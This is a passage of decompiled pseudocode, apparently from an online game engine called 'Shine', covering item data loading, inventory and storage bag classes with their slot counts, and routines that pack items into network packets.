k < *(_DWORD *)(v140 + 40) ) v118 = CDataReader::GetRecord((CDataReader *)&wa, k); else v118 = &v141; *(_WORD *)((char *)&v1->idb_index->data + v117) = *(_WORD *)((char *)v118 + v116 + 7); v116 += 2; v117 += 2; } while ( v116 < 6 ); v108 = v140; } } v119 = v1->idb_maxItemhandle; ++v111; ++i; } while ( i < v119 ); } v120 = *(_DWORD *)(v108 + 40); ++k; } while ( (signed int)k < (signed int)v120 ); } v146 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&wa); v121 = BTree::operator__(&v1->idb_btree, "ProposeRing"); v122 = -1; if ( v121 != -1 ) v122 = v121; if ( v122 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "ProposeRing"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_ProposeRing = v122; v123 = BTree::operator__(&v1->idb_btree, "InvitationCard"); v124 = -1; if ( v123 != -1 ) v124 = v123; if ( v124 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "InvitationCard"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_InvitationCard = v124; v125 = BTree::operator__(&v1->idb_btree, "WeddingCoupon"); v126 = -1; if ( v125 != -1 ) v126 = v125; if ( v126 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "WeddingCoupon"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WeddingCoupon = v126; v127 = BTree::operator__(&v1->idb_btree, "MiniWedding01_1"); v128 = -1; if ( v127 != -1 ) v128 = v127; if ( v128 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "MiniWedding01_1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WeddingPresent = v128; v129 = BTree::operator__(&v1->idb_btree, "InstantDivorce"); v130 = -1; if ( v129 != -1 ) v130 = v129; if ( v130 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "InstantDivorce"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_ImmediateDivorce = v130; v131 = BTree::operator__(&v1->idb_btree, "Q_Wood"); v132 = -1; if ( v131 != -1 ) v132 = v131; if ( v132 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Q_Wood"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_Firer = v132; __security_check_cookie((unsigned int)&k ^ v145); } //----- (005DD760) -------------------------------------------------------- void *__thiscall ItemBelongAttribute::_scalar_deleting_destructor_(ItemBelongAttribute *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ItemBelongAttribute::_ItemBelongAttribute(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005DD780) -------------------------------------------------------- void __thiscall ItemBelongAttribute::iba_Load(ItemBelongAttribute *this) { ItemBelongAttribute *v1; // edi@1 unsigned int v2; // esi@1 unsigned int v3; // eax@1 bool v4; // cf@1 void *v5; // eax@3 int v6; // ecx@5 unsigned int v7; // eax@5 char bindata; // [sp+8h] [bp-58h]@1 int v9; // [sp+38h] [bp-28h]@1 int v10; // [sp+44h] [bp-1Ch]@1 int v11; // [sp+48h] [bp-18h]@1 __int16 v12; // [sp+4Ch] [bp-14h]@1 unsigned int v13; // [sp+50h] [bp-10h]@1 int v14; // [sp+5Ch] [bp-4h]@1 v1 = this; v13 = (unsigned int)&bindata ^ __security_cookie; CCharacterTitleData::CCharacterTitleData((BinaryData *)&bindata); v10 = 0; v11 = 0; v12 = 0; v2 = 0; v14 = 0; BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&bindata, "../9Data/Hero/BelongTypeInfo.shn"); v3 = *(_DWORD *)(v9 + 40); v4 = v3 > 0; if ( (signed int)v3 > 0 ) { do { if ( v4 ) v5 = CDataReader::GetRecord((CDataReader *)&bindata, v2); else v5 = &v10; v6 = (int)&v1->iba_Array[*(_DWORD *)v5]; *(_DWORD *)v6 = *(_DWORD *)v5; *(_DWORD *)(v6 + 4) = *((_DWORD *)v5 + 1); *(_WORD *)(v6 + 8) = *((_WORD *)v5 + 4); v7 = *(_DWORD *)(v9 + 40); ++v2; v4 = v2 < v7; } while ( (signed int)v2 < (signed int)v7 ); } v14 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&bindata); __security_check_cookie((unsigned int)&bindata ^ v13); } //----- (005DD850) -------------------------------------------------------- void __thiscall ItemDataBox::ItemDataBox(ItemDataBox *this, char *pdatafn, bool bCheckAndRead) { ItemDataBox *v3; // esi@1 char *v4; // edi@1 _iobuf *v5; // eax@5 v3 = this; BTree::BTree(&this->idb_btree); ItemDataBox::__unnamed::__unnamed(&v3->idb_BinData.itminf.baseclass_0); v4 = pdatafn; v3->idb_index = 0; v3->idb_maxItemhandle = 0; if ( pdatafn != (char *)-1 ) { if ( !pdatafn ) v4 = "../9Data/Hero/ItemInfo.shn"; if ( bCheckAndRead ) { v5 = fopen(v4, "rb"); if ( !v5 ) return; fclose(v5); } ItemDataBox::ReadData(v3, v4); } } //----- (005DD900) -------------------------------------------------------- ItemBag *__thiscall CharacterInventoryManager::cim_inven(CharacterInventoryManager *this, CharacterInventory *ci) { return &ci->ci_Inventory.baseclass_0; } //----- (005DD910) -------------------------------------------------------- ItemBag *__thiscall CharacterInventoryManager::cim_quest(CharacterInventoryManager *this, CharacterInventory *ci) { return &ci->ci_QuestBox.baseclass_0; } //----- (005DD920) -------------------------------------------------------- ItemBag *__thiscall CharacterInventoryManager::cim_minihouse(CharacterInventoryManager *this, CharacterInventory *ci) { return &ci->ci_MiniHouse.baseclass_0; } //----- (005DD930) -------------------------------------------------------- int __thiscall ItemBag::ib_ItemCount_Output(ItemBag *this) { ItemBag *v1; // esi@1 int v2; // ebx@1 int v3; // edi@1 int v4; // eax@2 v1 = this; v2 = 0; v3 = 0; if ( ((int (*)(void))this->vfptr->ib_BagSizeOutput)() > 0 ) { do { v4 = (int)v1->vfptr->ib_GetInventoryCell(v1, v3); if ( v4 && *(_WORD *)(v4 + 8) != -1 ) ++v2; ++v3; } while ( v3 < v1->vfptr->ib_BagSizeOutput(v1) ); } return v2; } //----- (005DD970) -------------------------------------------------------- int __thiscall ItemBag::ib_GetItemLot(ItemBag *this, unsigned __int16 nItemID) { ItemBag *v2; // esi@1 int v3; // ebx@1 int v4; // edi@1 int v5; // eax@2 __int16 v6; // dx@3 v2 = this; v3 = 0; v4 = 0; if ( ((int (*)(void))this->vfptr->ib_BagSizeOutput)() > 0 ) { do { v5 = (int)v2->vfptr->ib_GetInventoryCell(v2, v4); if ( v5 ) { v6 = *(_WORD *)(v5 + 8); if ( v6 != -1 ) { if ( v6 == nItemID ) v3 += (*(int (__thiscall **)(_DWORD, int))(**(_DWORD **)(v5 + 112) + 24))(*(_DWORD *)(v5 + 112), v5 + 8); } } ++v4; } while ( v4 < v2->vfptr->ib_BagSizeOutput(v2) ); } return v3; } //----- (005DD9D0) -------------------------------------------------------- char __thiscall ItemBoxIterator::ibi_Next(ItemBoxIterator *this) { ItemBoxIterator *v1; // esi@1 int v2; // eax@2 ItemBoxIteratorVtbl *v3; // edx@3 v1 = this; while ( 1 ) { v2 = v1->ibi_finger; if ( v2 >= v1->ibi_Limit - 1 ) break; v3 = v1->vfptr; v1->ibi_finger = v2 + 1; if ( (unsigned __int8)v3->ibi_isvalid(v1) ) return 1; } return 0; } //----- (005DDA00) -------------------------------------------------------- ItemInventoryCell *__thiscall ItemBoxIterator::ibi_GetCell(ItemBoxIterator *this) { ItemInventoryCell *result; // eax@2 if ( this->ibi_itembag ) result = (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))this->ibi_itembag)(this->ibi_finger); else result = 0; return result; } //----- (005DDA20) -------------------------------------------------------- void __thiscall ItemBag::_ItemBag(ItemBag *this) { this->vfptr = (ItemBagVtbl *)ItemBag::_vftable_; } // 6875EC: using guessed type int (*ItemBag___vftable_[4])(); //----- (005DDA30) -------------------------------------------------------- void __thiscall ItemInventoryCell::iic_StoreItem(ItemInventoryCell *this, ItemTotalInformation *itemtemp) { ItemInventoryCell *v2; // ebx@1 ItemAttributeClass *v3; // eax@1 v2 = this; memcpy(this, itemtemp, 0x6Fu); v3 = ItemAttributeClassContainer::operator__(&itmattcontainer, this->iic_Item.iti_itemstruct.itemid); v2->iic_AttrProc = v3; if ( v3 ) v3->vfptr->iac_ItemKetSet(v3, (ItemTotalInformation *)v2); } //----- (005DDA70) -------------------------------------------------------- void __thiscall ItemInventory::_ItemInventory(ItemInventory *this) { ItemInventory *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemInventory::_vftable_; _eh_vector_destructor_iterator_( this->ii_Array, 0x74u, 144, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)ItemBag::_vftable_; } // 6875EC: using guessed type int (*ItemBag___vftable_[4])(); // 6875FC: using guessed type int (__stdcall *ItemInventory___vftable_[2])(int slot); //----- (005DDAD0) -------------------------------------------------------- ItemInventoryCell *__thiscall ItemInventory::ib_GetInventoryCell(ItemRewardStorage *this, int slot) { ItemRewardStorage *v2; // esi@1 ItemInventoryCell *result; // eax@2 v2 = this; if ( slot >= ((int (*)(void))this->baseclass_0.vfptr->ib_BagSizeOutput)() ) result = (ItemInventoryCell *)&ItemBag::ib_staticcell; else result = &v2->irs_Array[slot]; return result; } //----- (005DDB00) -------------------------------------------------------- int __thiscall ItemInventory::ib_BagSizeInput(ItemInventory *this, ChargedEffectContainer *cec) { char v2; // al@1 int result; // eax@2 v2 = cec->cec_MoreInven; if ( (unsigned __int8)v2 <= 4u ) result = 24 * ((unsigned __int8)v2 + 2); else result = 144; return result; } //----- (005DDB30) -------------------------------------------------------- int __thiscall ItemInventory::ib_BagSizeOutput(ItemInventory *this) { return 144; } //----- (005DDB40) -------------------------------------------------------- void __thiscall ItemEquipment::_ItemEquipment(ItemEquipment *this) { ItemEquipment *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemEquipment::_vftable_; _eh_vector_destructor_iterator_( this->ie_Array, 0x74u, 29, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)ItemBag::_vftable_; } // 6875EC: using guessed type int (*ItemBag___vftable_[4])(); // 68760C: using guessed type int (__stdcall *ItemEquipment___vftable_[2])(int slot); //----- (005DDBA0) -------------------------------------------------------- int __thiscall ItemEquipment::ib_BagSizeInput(ItemEquipment *this, ChargedEffectContainer *cec) { return 29; } //----- (005DDBB0) -------------------------------------------------------- int __thiscall ItemEquipment::ib_BagSizeOutput(ItemEquipment *this) { return 29; } //----- (005DDBC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineBandit::so_ObjectType(ItemEquipment *this) { return 8; } //----- (005DDBD0) -------------------------------------------------------- void __thiscall ItemQuestItemBox::_ItemQuestItemBox(ItemQuestItemBox *this) { ItemQuestItemBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemQuestItemBox::_vftable_; _eh_vector_destructor_iterator_( this->iqb_Array, 0x74u, 5, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)ItemBag::_vftable_; } // 6875EC: using guessed type int (*ItemBag___vftable_[4])(); // 68761C: using guessed type int (__stdcall *ItemQuestItemBox___vftable_[2])(int slot); //----- (005DDC30) -------------------------------------------------------- int __thiscall ItemQuestItemBox::ib_BagSizeInput(ItemQuestItemBox *this, ChargedEffectContainer *cec) { return 5; } //----- (005DDC40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineDoor::so_ObjectType(ItemQuestItemBox *this) { return 7; } //----- (005DDC50) -------------------------------------------------------- void __thiscall ItemAccountStorage::_ItemAccountStorage(ItemAccountStorage *this) { ItemAccountStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemAccountStorage::_vftable_; _eh_vector_destructor_iterator_( this->ias_Array, 0x74u, 576, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)ItemBag::_vftable_; } // 6875EC: using guessed type int (*ItemBag___vftable_[4])(); // 68762C: using guessed type int (__stdcall *ItemAccountStorage___vftable_[2])(int slot); //----- (005DDCB0) -------------------------------------------------------- int __thiscall ItemAccountStorage::ib_BagSizeInput(ItemAccountStorage *this, ChargedEffectContainer *cec) { char v2; // al@1 int result; // eax@2 v2 = cec->cec_MoreStorage; if ( (unsigned __int8)v2 <= 4u ) result = 36 * ((unsigned __int8)v2 + 2); else result = 216; return result; } //----- (005DDCE0) -------------------------------------------------------- int __thiscall ItemAccountStorage::ib_BagSizeOutput(ItemAccountStorage *this) { return 576; } //----- (005DDCF0) -------------------------------------------------------- char __thiscall ItemAccountStorage::ib_GetInvenType(ItemAccountStorage *this) { return 6; } //----- (005DDD00) -------------------------------------------------------- void __thiscall ItemMiniHouseBox::_ItemMiniHouseBox(ItemMiniHouseBox *this) { ItemMiniHouseBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemMiniHouseBox::_vftable_; _eh_vector_destructor_iterator_( this->imhb_Array, 0x74u, 35, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)ItemBag::_vftable_; } // 6875EC: using guessed type int (*ItemBag___vftable_[4])(); // 68763C: using guessed type int (__stdcall *ItemMiniHouseBox___vftable_[2])(int slot); //----- (005DDD60) -------------------------------------------------------- int __thiscall ItemMiniHouseBox::ib_BagSizeInput(ItemMiniHouseBox *this, ChargedEffectContainer *cec) { return 35; } //----- (005DDD70) -------------------------------------------------------- int __thiscall ItemMiniHouseBox::ib_BagSizeOutput(ItemMiniHouseBox *this) { return 35; } //----- (005DDD80) -------------------------------------------------------- char __thiscall ItemMiniHouseBox::ib_GetInvenType(ItemMiniHouseBox *this) { return 12; } //----- (005DDD90) -------------------------------------------------------- void __thiscall ItemGuildStorage::_ItemGuildStorage(ItemGuildStorage *this) { ItemGuildStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildStorage::_vftable_; _eh_vector_destructor_iterator_( this->igs_Array, 0x74u, 36, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)ItemBag::_vftable_; } // 6875EC: using guessed type int (*ItemBag___vftable_[4])(); // 68764C: using guessed type int (__stdcall *ItemGuildStorage___vftable_[2])(int slot); //----- (005DDDF0) -------------------------------------------------------- int __thiscall ItemGuildStorage::ib_BagSizeOutput(ItemGuildStorage *this) { return 36; } //----- (005DDE00) -------------------------------------------------------- char __thiscall ItemGuildStorage::ib_GetInvenType(ItemGuildStorage *this) { return 4; } //----- (005DDE10) -------------------------------------------------------- void __thiscall ItemGuildAcademyRewardStorage::_ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this) { ItemGuildAcademyRewardStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildAcademyRewardStorage::_vftable_; _eh_vector_destructor_iterator_( this->igars_Array, 0x74u, 72, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)ItemBag::_vftable_; } // 6875EC: using guessed type int (*ItemBag___vftable_[4])(); // 68765C: using guessed type int (__stdcall *ItemGuildAcademyRewardStorage___vftable_[2])(int slot); //----- (005DDE70) -------------------------------------------------------- int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeInput(ItemGuildAcademyRewardStorage *this, ChargedEffectContainer *cec) { return 72; } //----- (005DDE80) -------------------------------------------------------- int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeOutput(ItemGuildAcademyRewardStorage *this) { return 72; } //----- (005DDE90) -------------------------------------------------------- void __thiscall ItemFurnicherBox::_ItemFurnicherBox(ItemFurnicherBox *this) { ItemFurnicherBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemFurnicherBox::_vftable_; _eh_vector_destructor_iterator_( this->ifm_Array, 0x74u, 98, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)ItemBag::_vftable_; } // 6875EC: using guessed type int (*ItemBag___vftable_[4])(); // 68766C: using guessed type int (__stdcall *ItemFurnicherBox___vftable_[2])(int slot); //----- (005DDEF0) -------------------------------------------------------- int __thiscall ItemFurnicherBox::ib_BagSizeInput(ItemFurnicherBox *this, ChargedEffectContainer *cec) { return 98; } //----- (005DDF00) -------------------------------------------------------- int __thiscall ItemFurnicherBox::ib_BagSizeOutput(ItemFurnicherBox *this) { return 98; } //----- (005DDF10) -------------------------------------------------------- char __thiscall ItemFurnicherBox::ib_GetInvenType(ItemFurnicherBox *this) { return 3; } //----- (005DDF20) -------------------------------------------------------- void __thiscall ItemInform_ActionItem::sii_Clear(ItemInform_ActionItem *this) { this->iiai_ItemID = -1; } //----- (005DDF30) -------------------------------------------------------- ShineDateTime *__thiscall ItemInform_ActionItem::sii_GetDeteleDateTime(ItemInform_ActionItem *this) { return &this->iiai_Attribute.ActionItem.deletetime; } //----- (005DDF40) -------------------------------------------------------- void __thiscall ItemInform_ActionItem::sii_Import(ItemInform_ActionItem *this, ItemTotalInformation *iti) { *(_QWORD *)&this->iiai_RegistNumber.binary.gap0[0] = *(_QWORD *)&iti->iti_registnum.binary.gap0[0]; this->iiai_ItemID = iti->iti_itemstruct.itemid; this->iiai_Attribute.ActionItem.deletetime._bf0 = *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot; } //----- (005DDF60) -------------------------------------------------------- void __thiscall ItemInform_ActionItem::sii_Export(ItemInform_ActionItem *this, ItemTotalInformation *iti) { *(_QWORD *)&iti->iti_registnum.binary.gap0[0] = *(_QWORD *)&this->iiai_RegistNumber.binary.gap0[0]; iti->iti_itemstruct.itemid = this->iiai_ItemID; *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot = this->iiai_Attribute.ActionItem.deletetime._bf0; } //----- (005DDF80) -------------------------------------------------------- void __thiscall ItemRewardStorage::_ItemRewardStorage(ItemRewardStorage *this) { ItemRewardStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemRewardStorage::_vftable_; _eh_vector_destructor_iterator_( this->irs_Array, 0x74u, 24, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)ItemBag::_vftable_; } // 6875EC: using guessed type int (*ItemBag___vftable_[4])(); // 68767C: using guessed type int (__stdcall *ItemRewardStorage___vftable_[2])(int slot); //----- (005DDFE0) -------------------------------------------------------- void __thiscall ItemBag::ib_InitializeAsNumber(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype) { PROTO_ITEMPACKET_TOTAL *v4; // ebp@1 ItemBag *v5; // esi@1 int v6; // edi@1 bool v7; // zf@1 int v8; // eax@6 int v9; // ebx@6 ItemAttributeClass *v10; // eax@6 int v11; // edx@9 int itm; // [sp+Ch] [bp-7Ch]@1 ItemBag *v13; // [sp+10h] [bp-78h]@1 ItemTotalInformation itemtemp; // [sp+14h] [bp-74h]@6 unsigned int v15; // [sp+84h] [bp-4h]@1 v4 = itmarr; v15 = (unsigned int)&itm ^ __security_cookie; v5 = this; v6 = 0; v7 = *itemcounter == 0; v13 = this; itm = 0; if ( !v7 ) { do { if ( (unsigned int)v4->location.Inven >> 10 == inventype ) { if ( v6 < v5->vfptr->ib_BagSizeOutput(v5) ) { ItemTotalInformation::iti_fill2struct_whole( &itemtemp, &itmattcontainer.iacc_default, 0xFFFFu, v4->info.iti_registnum.binary.gap0); v8 = (int)v5->vfptr->ib_GetInventoryCell(v5, v6); v9 = v8; memcpy((void *)v8, &itemtemp, 0x6Cu); *(_WORD *)(v8 + 108) = *(_WORD *)((char *)&itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_BYTE *)(v8 + 110) = BYTE3(itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y); v10 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v8 + 8)); *(_DWORD *)(v9 + 112) = v10; if ( v10 ) v10->vfptr->iac_ItemKetSet(v10, (ItemTotalInformation *)v9); v5 = v13; v6 = itm; v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } else { AssertClass::ac_AssertFail(&shineassert, "ItemRewardStorage::irs_Initializetotal : Invalid slot", v6); v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } } else { v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } v11 = (unsigned __int8)*itemcounter; ++v6; itm = v6; } while ( v6 < v11 ); } } //----- (005DE100) -------------------------------------------------------- void __thiscall ItemBoxIterItemRegNo::ItemBoxIterItemRegNo(ItemBoxIterItemRegNo *this, ItemBag *ib, SHINE_ITEM_REGISTNUMBER Regno, ChargedEffectContainer *cec) { ItemBoxIterItemRegNo *v4; // esi@1 int v5; // eax@2 v4 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) v5 = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); else v5 = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v4->baseclass_0.ibi_Limit = v5; v4->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterItemRegNo::_vftable_; *(_DWORD *)&v4->ibii_RegNo.binary.gap0[0] = *(_DWORD *)&Regno; v4->ibii_RegNo.binary._bf4 = Regno.binary._bf4; } // 6876C4: using guessed type int (*ItemBoxIterItemRegNo___vftable_[4])(); //----- (005DE150) -------------------------------------------------------- void __thiscall ItemBoxIterator::_ItemBoxIterator(ItemBoxIterItemRegNo *this) { this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; } //----- (005DE160) -------------------------------------------------------- char __thiscall ItemBoxIterItemRegNo::ibi_isvalid(ItemBoxIterItemRegNo *this) { ItemBoxIterItemRegNo *v1; // esi@1 int v2; // eax@1 v1 = this; v2 = (**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger); return *(_DWORD *)v2 == *(_DWORD *)&v1->ibii_RegNo.binary.gap0[0] && *(_DWORD *)(v2 + 4) == v1->ibii_RegNo.binary._bf4; } //----- (005DE190) -------------------------------------------------------- void __thiscall ItemSmallBag::_ItemSmallBag(ItemSmallBag *this) { this->vfptr = (ItemSmallBagVtbl *)ItemSmallBag::_vftable_; } // 6876C8: using guessed type int (*ItemSmallBag_ItemInform_ActionItem____vftable_[3])(); //----- (005DE1A0) -------------------------------------------------------- int __cdecl ItemBag::ib_InitStateCell() { int result; // eax@1 ItemBag::ib_staticcell = -1; unk_6B6964 = -1; result = 0; memset(&unk_6B6968, 0, 0x64u); *((_WORD *)&unk_6B6968 + 50) = 0; *((_BYTE *)&unk_6B6968 + 102) = 0; unk_6B6968 = -1; unk_6B69D0 = &itmattcontainer; return result; } //----- (005DE1E0) -------------------------------------------------------- void __thiscall ItemBag::ib_Initializetotal(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype) { PROTO_ITEMPACKET_TOTAL *v4; // ebx@1 ItemBag *v5; // esi@1 bool v6; // zf@1 int v7; // edi@4 int v8; // eax@6 int v9; // ebp@6 ItemAttributeClass *v10; // eax@6 int v11; // edx@10 int itm; // [sp+8h] [bp-7Ch]@1 ItemBag *v13; // [sp+Ch] [bp-78h]@1 ItemTotalInformation itemtemp; // [sp+10h] [bp-74h]@6 unsigned int v15; // [sp+80h] [bp-4h]@1 v4 = itmarr; v15 = (unsigned int)&itm ^ __security_cookie; v5 = this; v6 = *itemcounter == 0; v13 = this; itm = 0; if ( !v6 ) { do { if ( (unsigned int)v4->location.Inven >> 10 == inventype ) { v7 = v4->location.Inven & 0x3FF; if ( (v4->location.Inven & 0x3FF) < v5->vfptr->ib_BagSizeOutput(v5) ) { ItemTotalInformation::iti_fill2struct_whole( &itemtemp, &itmattcontainer.iacc_default, 0xFFFFu, v4->info.iti_registnum.binary.gap0); v8 = (int)v5->vfptr->ib_GetInventoryCell(v5, v4->location.Inven & 0x3FF); v9 = v8; memcpy((void *)v8, &itemtemp, 0x6Cu); *(_WORD *)(v8 + 108) = *(_WORD *)((char *)&itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_BYTE *)(v8 + 110) = BYTE3(itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y); v10 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v8 + 8)); *(_DWORD *)(v9 + 112) = v10; if ( v10 ) v10->vfptr->iac_ItemKetSet(v10, (ItemTotalInformation *)v9); v5 = v13; } else { AssertClass::ac_AssertFail(&shineassert, "ItemBag::ib_Initializetotal : Invalid slot", v7); } v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } else { v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } v11 = (unsigned __int8)*itemcounter; ++itm; } while ( itm < v11 ); } } //----- (005DE320) -------------------------------------------------------- int __thiscall ItemAccountStorage::ias_FillBufferItem(ItemAccountStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, const char *charid, int from, int to) { PROTO_ITEMPACKET_INFORM *v6; // edi@1 int v7; // esi@6 ItemDataBox::ItemDataBoxIndex *v8; // eax@7 _iobuf *v9; // ebx@8 _iobuf *v10; // ebx@10 unsigned __int16 v11; // ax@11 char v12; // al@11 int ibi; // [sp+4h] [bp-1Ch]@1 ItemAccountStorage *v15; // [sp+8h] [bp-18h]@1 int v16; // [sp+Ch] [bp-14h]@1 int v17; // [sp+10h] [bp-10h]@1 int v18; // [sp+1Ch] [bp-4h]@1 *itemcounter = 0; ibi = (int)&ItemBoxIterator::_vftable_; v15 = this; v6 = itmarr; v17 = ((int (*)(void))this->baseclass_0.vfptr->ib_BagSizeOutput)(); ibi = (int)&ItemBoxIterItem::_vftable_; v18 = 0; v16 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibi) ) { LABEL_4: if ( v16 < from || v16 > to ) { LABEL_12: while ( v16 < v17 - 1 ) { ++v16; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibi)(&ibi) ) goto LABEL_4; } } else { v7 = ((int (__stdcall *)(int))v15->baseclass_0.vfptr->ib_GetInventoryCell)(v16); if ( v7 ) { v8 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v7 + 8)); if ( v8 ) { if ( v8->data != 0 ) { v11 = v6->location.Inven & 0x3FF | 0x1800; v6->location.Inven = v11; v6->location.Inven = v11 ^ (v16 ^ v11) & 0x3FF; v12 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v7, *(ItemAttributeClass **)(v7 + 112), *(_WORD *)(v7 + 8), (char *)&v6->info)[2 - ((_BYTE)v6 + 3)]; v6->datasize = v12; v6 = (PROTO_ITEMPACKET_INFORM *)((char *)v6 + (unsigned __int8)v12 + 1); ++*itemcounter; } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ias_FillBufferItem : Invalid ItemID found", *(_WORD *)(v7 + 8)); v10 = fopen("StorageError.txt", "a"); fprintf(v10, "%s %d\n"); fclose(v10); } } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ias_FillBufferItem : Invalid ItemID found", *(_WORD *)(v7 + 8)); v9 = fopen("StorageError.txt", "a"); fprintf(v9, "%s/%d\n"); fclose(v9); } goto LABEL_12; } } } else { while ( v16 < v17 - 1 ) { ++v16; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibi)(&ibi) ) goto LABEL_4; } } return (char *)v6 - itemcounter; } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (005DE530) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferInventoryItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, int *from, int buffersize, ItemBag *bag) { SHINE_PUT_ON_BELONGED_ITEM v7; // eax@1 PROTO_ITEMPACKET_INFORM *v8; // esi@1 SHINE_PUT_ON_BELONGED_ITEM (__thiscall *v9)(ItemAttributeClass *, ItemTotalInformation *); // eax@3 int v11; // edi@8 int v12; // ebx@12 int v13; // eax@13 int v14; // edi@13 unsigned __int16 v15; // bp@13 unsigned int v16; // eax@13 int v17; // eax@14 unsigned __int16 *v18; // ecx@19 unsigned __int16 v19; // cx@20 int v20; // eax@22 int v21; // eax@27 char v22; // al@27 int ibii; // [sp+8h] [bp-1Ch]@6 SHINE_PUT_ON_BELONGED_ITEM v24; // [sp+Ch] [bp-18h]@6 int v25; // [sp+10h] [bp-14h]@9 int v26; // [sp+14h] [bp-10h]@6 int v27; // [sp+20h] 